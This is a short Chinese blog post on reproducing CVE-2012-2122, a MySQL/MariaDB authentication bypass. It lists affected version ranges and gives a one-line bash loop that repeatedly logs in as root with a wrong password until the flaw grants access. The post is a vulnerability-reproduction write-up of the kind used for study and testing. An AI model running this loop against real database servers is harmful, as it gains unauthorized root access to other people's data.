Mysql 身份认证绕过漏洞（CVE-2012-2122）

影响范围

  • MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
  • MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

漏洞复现

在不知道我们环境正确密码的情况下，在bash下运行如下命令，在一定数量尝试后便可成功登录：

for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done

在这里插入图片描述

版权声明：本文为EC_Carrot原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接和本声明。